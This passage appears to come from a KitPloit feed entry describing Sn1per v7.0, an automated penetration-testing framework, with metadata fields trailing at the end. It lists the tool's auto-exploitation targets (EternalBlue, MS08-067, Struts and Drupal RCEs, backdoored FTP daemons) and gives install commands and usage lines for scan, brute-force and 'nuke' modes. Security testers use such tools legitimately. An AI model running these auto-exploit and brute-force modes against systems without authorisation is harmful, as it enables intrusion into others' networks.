\n * Automatically test for anonymous FTP access \n * Automatically runs WPScan, Arachni and Nikto for all web services \n * Automatically enumerates NFS shares \n * Automatically test for anonymous LDAP access \n * Automatically enumerate SSL/TLS ciphers, protocols and vulnerabilities \n * Automatically enumerate SNMP community strings, services and users \n * Automatically list SMB users and shares, check for NULL sessions and exploit MS08-067 \n * Automatically exploit vulnerable JBoss, Java RMI and Tomcat servers \n * Automatically tests for open X11 servers \n * Auto-pwn added for Metasploitable, ShellShock, MS08-067, Default Tomcat Creds \n * Performs high level enumeration of multiple hosts and subnets \n * Automatically integrates with Metasploit Pro, MSFConsole and Zenmap for reporting \n * Automatically gathers screenshots of all web sites \n * Create individual workspaces to store all scan output \n \n** EXPLOITS: ** \n\n\n * Drupal RESTful Web Services unserialize() SA-CORE-2019-003 \n * Apache Struts: S2-057 (CVE-2018-11776): Security updates available for Apache Struts \n * Drupal: CVE-2018-7600: [ Remote Code Execution ](<https://www.kitploit.com/search/label/Remote%20Code%20Execution> \"Remote Code Execution\" ) \\- SA-CORE-2018-002 \n * GPON Routers - Authentication Bypass / [ Command Injection ](<https://www.kitploit.com/search/label/Command%20Injection> \"Command Injection\" ) CVE-2018-10561 \n * MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption \n * Apache Tomcat: Remote Code Execution (CVE-2017-12617) \n * Oracle WebLogic wls-wsat Component Deserialization Remote Code Execution CVE-2017-10271 \n * Apache Struts Content-Type arbitrary command execution (CVE-2017-5638) \n * Apache Struts 2 Framework Checks - REST plugin with XStream handler (CVE-2017-9805) \n * Apache Struts Content-Type arbitrary command execution (CVE-2017-5638) \n * Microsoft IIS WebDav ScStoragePathFromUrl Overflow CVE-2017-7269 \n * ManageEngine Desktop Central 9 FileUploadServlet ConnectionId Vulnerability CVE-2015-8249 \n * Shellshock Bash Shell remote code execution CVE-2014-6271 \n * HeartBleed OpenSSL Detection CVE-2014-0160 \n * MS12-020: Vulnerabilities in Remote Desktop Could Allow Remote Code Execution (2671387) \n * Tomcat Application Manager Default Ovwebusr Password Vulnerability CVE-2009-3843 \n * MS08-067 Microsoft Server Service Relative Path Stack Corruption \n * Webmin File Disclosure CVE-2006-3392 \n * VsFTPd 2.3.4 Backdoor \n * ProFTPd 1.3.3C Backdoor \n * MS03-026 Microsoft RPC DCOM Interface Overflow \n * DistCC Daemon Command Execution \n * JBoss Java De-Serialization \n * HTTP Writable Path PUT/DELETE File Access \n * Apache Tomcat User Enumeration \n * Tomcat Application Manager Login Bruteforce \n * Jenkins-CI Enumeration \n * HTTP WebDAV Scanner \n * Android Insecure ADB \n * Anonymous FTP Access \n * PHPMyAdmin Backdoor \n * PHPMyAdmin Auth Bypass \n * OpenSSH User Enumeration \n * LibSSH Auth Bypass \n * SMTP User Enumeration \n * Public NFS Mounts \n \n** KALI LINUX INSTALL: ** \n\n \n \n bash install.sh\n\n \n** UBUNTU/DEBIAN/PARROT INSTALL: ** \n\n \n \n bash install_debian_ubuntu.sh\n\n \n** DOCKER INSTALL: ** \n\n \n \n docker build Dockerfile\n\n \n** USAGE: ** \n\n \n \n [*] NORMAL MODE\n sniper -t|--target <TARGET>\n \n [*] NORMAL MODE + OSINT + RECON + FULL PORT SCAN + BRUTE FORCE\n sniper -t|--target <TARGET> -o|--osint -re|--recon -fp|--fullportonly -b|--bruteforce\n \n [*] STEALTH MODE + OSINT + RECON\n sniper -t|--target <TARGET> -m|--mode stealth -o|--osint -re|--recon\n \n [*] DISCOVER MODE\n sniper -t|--target <CIDR> -m|--mode discover -w|--workspace <WORSPACE_ALIAS>\n \n [*] FLYOVER MODE\n sniper -t|--target <TARGET> -m|--mode flyover -w|--workspace <WORKSPACE_ALIAS>\n \n [*] AIRSTRIKE MODE\n sniper -f|--file /full/path/to/targets.txt -m|--mode airstrike\n \n [*] NUKE MODE WITH TARGET LIST, BRUTEFORCE ENABLED, FULLPORTSCAN ENABLED, OSINT ENABLED, RECON ENABLED, WORKSPACE & LOOT ENABLED\n sniper -f--file /full/path/to/targets.txt -m|--mode nuke -w|--workspace <WORKSPACE_ALIAS>\n \n [*] SCAN ONLY SPECIFIC PORT\n sniper -t|--target <TA RGET> -m port -p|--port <portnum>\n \n [*] FULLPORTONLY SCAN MODE\n sniper -t|--target <TARGET> -fp|--fullportonly\n \n [*] PORT SCAN MODE\n sniper -t|--target <TARGET> -m|--mode port -p|--port <PORT_NUM>\n \n [*] WEB MODE - PORT 80 + 443 ONLY!\n sniper -t|--target <TARGET> -m|--mode web\n \n [*] HTTP WEB PORT HTTP MODE\n sniper -t|--target <TARGET> -m|--mode webporthttp -p|--port <port>\n \n [*] HTTPS WEB PORT HTTPS MODE\n sniper -t|--target <TARGET> -m|--mode webporthttps -p|--port <port>\n \n [*] WEBSCAN MODE\n sniper -t|--target <TARGET> -m|--mode webscan\n \n [*] ENABLE BRUTEFORCE\n sniper -t|--target <TARGET> -b|--bruteforce\n \n [*] ENABLE LOOT IMPORTING INTO METASPLOIT\n sniper -t|--target <TARGET>\n \n [*] LOOT REIMPORT FUNCTION\n sniper -w <WORKSPACE_ALIAS> --reimport\n \n [*] LOOT REIMPORTALL FUNCTION\n sniper -w <WORKSPACE_ALIAS& gt; --reimportall\n \n [*] DELETE WORKSPACE\n sniper -w <WORKSPACE_ALIAS> -d\n \n [*] DELETE HOST FROM WORKSPACE\n sniper -w <WORKSPACE_ALIAS> -t <TARGET> -dh\n \n [*] SCHEDULED SCANS'\n sniper -w <WORKSPACE_ALIAS> -s daily|weekly|monthly'\n \n [*] SCAN STATUS\n sniper --status\n \n [*] UPDATE SNIPER\n sniper -u|--update\n\n \n** MODES: ** \n\n\n * ** NORMAL: ** Performs basic scan of targets and open ports using both active and passive checks for optimal performance. \n * ** STEALTH: ** Quickly enumerate single targets using mostly non-intrusive scans to avoid WAF/IPS blocking. \n * ** FLYOVER: ** Fast multi-threaded high level scans of multiple targets (useful for collecting high level data on many hosts quickly). \n * ** AIRSTRIKE: ** Quickly enumerates open ports/services on multiple hosts and performs basic fingerprinting. To use, specify the full location of the file which contains all hosts, IPs that need to be scanned and run ./sn1per /full/path/to/targets.txt airstrike to begin scanning. \n * ** NUKE: ** Launch full audit of multiple hosts specified in text file of choice. Usage example: ./sniper /pentest/loot/targets.txt nuke. \n * ** DISCOVER: ** Parses all hosts on a subnet/CIDR (ie. 192.168.0.0/16) and initiates a sniper scan against each host. Useful for internal network scans. \n * ** PORT: ** Scans a specific port for vulnerabilities. Reporting is not currently available in this mode. \n * ** FULLPORTONLY: ** Performs a full detailed port scan and saves results to XML. \n * ** WEB: ** Adds full automatic web application scans to the results (port 80/tcp &amp; 443/tcp only). Ideal for web applications but may increase scan time significantly. \n * ** WEBPORTHTTP: ** Launches a full HTTP web application scan against a specific host and port. \n * ** WEBPORTHTTPS: ** Launches a full HTTPS web application scan against a specific host and port. \n * ** WEBSCAN: ** Launches a full HTTP &amp; HTTPS web application scan against via Burpsuite and Arachni. \n \n** SAMPLE REPORT: ** \n[ https://gist.github.com/1N3/8214ec2da2c91691bcbc ](<https://gist.github.com/1N3/8214ec2da2c91691bcbc> \"https://gist.github.com/1N3/8214ec2da2c91691bcbc\" ) \n \n \n\n\n** [ Download Sn1per ](<https://github.com/1N3/Sn1per> \"Download Sn1per\" ) **\n", "modified": "2019-05-12T13:09:05", "published": "2019-05-12T13:09:05", "id": "KITPLOIT:7013881512724945934", "href": "http://www.kitploit.com/2019/05/sn1per-v70-automated-pentest-framework.html", "title": "Sn1per v7.0 - Automated Pentest Framework For Offensive Security Experts", "type": "kitploit", "cvss": {"score": 10.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}]}